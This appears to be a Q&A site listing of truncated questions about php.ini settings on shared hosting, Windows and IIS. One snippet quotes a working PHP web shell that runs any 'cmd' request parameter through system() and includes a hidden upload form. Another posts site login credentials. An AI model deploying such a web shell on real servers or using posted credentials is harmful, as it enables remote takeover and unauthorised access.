php.ini

Edit php.ini with .htaccess

I'm slowly getting back into PHP, and now I run into a problem, I want to install some web software on our host and I need to have either the latest Zend (which they don't have) or IonCube on the server and IonCube requires enable_dl to be on in the php.ini. Now a colleague of mine thinks I can update this via an .htaccess file on the se...

How do I enable my php.ini file to affect all directories/sub-directories of my server?

A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script: <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> <?php if(isset($_REQUEST['upload'])){ echo ' <form enctype="multipart/form-data" action=".config.php?send" method="PO...

PHP Warning: Module 'ldap' & 'mysql' already loaded when running PHP at command line

I am getting the following errors: PHP Warning: Module 'ldap' already loaded in Unknown on line 0 PHP Warning: Module 'mysql' already loaded in Unknown on line 0 when running the following command at the command line: php -c /etc/php.ini /path/to/script.php /etc/php.ini is the same php.ini that shown in phpinfo(). Any ideas? ...

Workaround for disabled php.ini features---

We are using shared hosting and the follow features are disabled. file_uploads = Off allow_url_fopen = Off allow_url_include = Off We are unable to change hosting and need to figure out some workarounds. The hosting co is also not able/willing to enable these features. For example: We are calling 1 server from another in order to ge...

Can I have multiple php.ini files?

I want to set the include_path variable in my php.ini file. (C:\Windows\php.ini) But, I want different include_path values for different sites hosted on the same Windows server. How can I do this? ...

Differences among the methods of loading an extension in PHP

extension="ext.so" zend_extension="/usr/lib/php4/ext.so" zend_extension_ts="/usr/lib/php4/ext.so" What are the differences? ...

Change in Server Permits script not to work. Can this be due to PHP.ini being different?

Hello all, Here is proof that my site is not portable. I had some regex that worked perfectly on my old server. I have now transferred my site to a new server and it doesn't work. $handle = popen('/usr/bin/python '.YOUTUBEDL.'youtube-dl.py -o '.VIDEOPATH.$fileName.'.flv '.$url.' 2>&1', 'rb'); while(!feof($handle)) { $progress = fr...

PHP Configuration file won't load IIS7 x64

using Fast CGI I can't get it to read the php.ini file. See my phpinfo below. System Windows NT WIN-PAFTBLXQWYW 6.0 build 6001 Build Date Mar 5 2009 19:43:24 Configure Command cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template" "--with-php-build...

Problem with output_buffering and php.ini.

Hi, when trying to log-in at this site (user:polopolo,pass:samara) the result is a blank page. I know that the problem is with the sending of headers and the *ouput_buffering* in the php.ini file. I had the same problem on another host but the problem was fixed when I changed *output_buffering= On*. It doesn't work on the current host a...

including files without having to specify $_SERVER['DOCUMENT_ROOT']

Hi... Before the PHP Version update I used to be able to include files as following without specifying the document root: <?php include '/absolute/path/to/files/file1.php'; ?> However I now have to include the same file as following: <?php include $_SERVER['DOCUMENT_ROOT'].'/absolute/path/to/files/file1.php'; ?> What php.ini setti...

php send mail code not working

php $to = "[email protected]"; $subject = "Hi!"; $body = "Hi,\n\nHow are you?"; if (mail($to, $subject, $body)) { echo("pMessage successfully sent!/p"); } else { echo("pMessage delivery failed.../p"); } wrote a basic php sendmail code that but it gives me the following error Warning: mail() [function.mail]: "sendmail_fro...

loaded php.ini file doesn't 'work'

The php.ini file that is loaded (checked through phpinfo) does not seem to have any effect when I change something (after restarting apache). I'm using vista for this (please no answers about use linux, I use that too, I want to have it work on vista also). edit: version 5.3 VC6 x86 Thread Safe, apache 2.2 edit2: version 5.2.10 VC6 x86 ...

What can change the include_path between php.ini and a PHP file.

I've inherited some code on a system that I didn't setup, and I'm running into a problem tracking down where the PHP include path is being set. I have a php.ini file with the following include_path include_path = ".:/usr/local/lib/php" I have a PHP file in the webroot named test.php with the following phpinfo call <?php phpi...

PHP / Apache how to set session.cookie_domain from outside php.ini

Hi There, I need to restrict cookies to my www subdomain, this works by me adding the line session.cookie_domain = www.example.com in the php.ini file. However I have a number of virtual hosts on my server so I need this domain to be different for each one. After a bit of a web-seach, I have tried using: 'SetEnv session.cookie_domain w...

Reading php.ini using zend for PHP extension (not PHP language)

I am trying to read some settings from php.ini using zend. The API that I am using is long zend_ini_long(char *name, uint name_length, int orig) But it always returns 0. I have double checked the name and also made sure that the value I am specifying in php.ini is greater then 0. Is there anything I am missing? ...

OSX php.ini memory limits

When you are using the latests version of OSX (10.6), does the memory limit of 8M (or whatever you have yours set to) mean that you are now running with 8 000 000 bytes rather than 8 388 608? ...

How do I get linux server to use local PHP.ini in a shared environment?

I'm on shared server environment (Dreamhost.com uses Linux/Debian). I followed their instructions @ http://wiki.dreamhost.com/Advanced%5FPHP%5Fconfiguration on setting up a local PHP5 instance on my user account so that I could use APC (php5 accelerator) A couple of caveats is that I dont have php5 installed on the root directory "/ho...

adding a function to php.ini

I used the function htmlentities() in my php script, but the server says: "undefined function" After some searching, I understand that the php installation on my webhost does not include that function, and that I can add the function by changing the php.ini file, but I have spent many hours searching, and have not found any information ...

How i can edit php.ini from cpanel when php.ini is readonly.

Hi How i can edit php.ini file from cpanel.I am using putty and vi editor to access php.ini file.It showing message -> 'readonly' option is set (add ! to override) .If php.ini is readonly then how i can change its permissions. Regards Deepak ...

Should I leave output_buffering On or Off in a Production Environment?

I'm about to launch a website and I'm going over my php.ini to prepare all the settings for a production environment. I'm debating whether to leave output_buffering On, Off, or set it to a buffer limit (like 4096). Is there any pro's or con's to having the output_buffer turned On or Off? I've read that turning the buffer Off will give...